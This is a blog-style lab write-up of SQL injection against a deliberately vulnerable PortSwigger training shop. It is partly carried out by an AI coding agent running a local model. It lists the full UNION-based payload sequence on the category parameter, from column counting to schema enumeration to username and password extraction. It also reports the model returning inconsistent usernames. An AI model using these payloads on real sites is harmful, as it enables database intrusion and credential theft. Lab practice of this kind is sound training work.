🔓 Free Link

Table of Contents

1. Overview
2. Proof of Concept (PoC)

Overview

SQL Injection (SQLi) remains one of the most impactful web application vulnerabilities because it allows attackers to manipulate backend database queries through unsanitized user input. In this lab, the testing environment uses the intentionally vulnerable website ginandjuice.shop, a training platform developed by PortSwigger specifically for practicing modern web exploitation techniques in a controlled environment.

The application simulates a realistic e-commerce platform containing multiple attack surfaces commonly found in production systems. One of the vulnerable components exposed in this lab is the Accessories product category, where user-controlled parameters are processed insecurely within SQL queries. This behavior creates an opportunity to test and validate SQL Injection techniques against the backend database logic.

Unlike conventional manual testing workflows, this assessment leverages Ollama integrated with the Google gemma4:31b-cloud model to assist the testing process. The model is used to analyze payload behavior, generate SQLi variations, and support iterative exploitation during reconnaissance and validation phases. Combining local AI-assisted workflows with offensive testing techniques provides a faster and more adaptive approach for identifying vulnerable input vectors.

Proof of Concept (PoC)

• In this lab, I used claude-code, Ollama, and the gemma4:31b-cloud model for AI-assisted testing.
• The effort mode was configured to High.

• I instructed the AI-assisted workflow to validate a potential SQL Injection vulnerability on the target application, specifically within the category parameter.

• Initially, the model indicated that the target was vulnerable to Boolean-based SQL Injection. During the testing process, the model performed several payload combinations and successfully identified the number of columns using the ORDER BY technique.

• After confirming the injection point, I instructed the model to begin database enumeration.
• The model successfully identified reflective columns within the target response.

• Database enumeration was successful, and the model also extracted several tables considered sensitive.

• Next, I instructed the model to perform username extraction along with the SQL payloads used during the process.

• After reviewing the output, I noticed that the username and password values appeared to be swapped. Then, I provided additional instructions to re-test the extraction process for both usernames and passwords.

• The model successfully extracted the correct username and password pair, particularly for the user Carlos. However, there was an inconsistency related to another account during the first extraction phase and the re-testing phase.
• In the initial attempt, the model identified a user named hacktest2, while during re-testing it returned the username hacktest.
• Due to this inconsistency, I decided to manually validate every SQL query executed by the Gemma model.

Manual Validation Process

• Testing for first payload:

category=Accessories' ORDER BY 9--

• The application returned an error. Try to the second payload:

category=Accessories' ORDER BY 8--

• The page rendered normally without errors.
• This confirmed that the query contains a total of 8 columns.
• Initial reflective column test:

category=NonExistent' UNION SELECT NULL,'col2',NULL,NULL,NULL,NULL,NULL,NULL--

• During manual validation, the string col2 was not reflected in the response page.
• I then continued testing the third column.

category=NonExistent' UNION SELECT NULL,NULL,'col3',NULL,NULL,NULL,NULL,NULL--

• The application successfully reflected the value from the third column.

• The next payload was used to extract the active database name:

category=NonExistent' UNION SELECT NULL,NULL,database(),NULL,NULL,NULL,NULL,NULL--

• The database name was successfully extracted.

• Next, extracting the table names. The following payload was used to enumerate database tables:

category=NonExistent' UNION SELECT NULL,NULL,table_name,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables--

• The application returned multiple table names from the database.

• When the AI-assisted workflow identified a potentially sensitive table named USERS, I manually validated the result using the following payload:

category=NonExistent' UNION SELECT NULL,NULL,column_name,NULL,NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='USERS'--

• The response confirmed the existence of the USERS table and its associated columns.

• The final step involved extracting usernames and passwords from the USERS table using the concat() function:

category=NonExistent' UNION SELECT NULL,NULL,concat(username,':',password),NULL,NULL,NULL,NULL,NULL FROM USERS--

• The query successfully returned two user credential pairs.

Key Takeaways

• Based on the first testing phase and the subsequent re-testing combined with manual validation, there was a noticeable difference in how the AI model interpreted the extracted data.
• The inconsistency was primarily observed during the final username and password extraction phase, where the model produced slightly different results between executions.
• This highlights an important observation when using AI-assisted offensive testing workflows: manual verification remains necessary to validate extraction accuracy and avoid misinterpretation of enumerated data.

📢 Enjoyed this post? Stay connected! If you found this article helpful or insightful, consider following me for more:

• 📖 Medium: bashoverflow.medium.com
• 🐦 Twitter / X: @_havij
• </> Github: havij13
• ☕ Coffee: Buymeacoffee

🙏Your support is appreciated.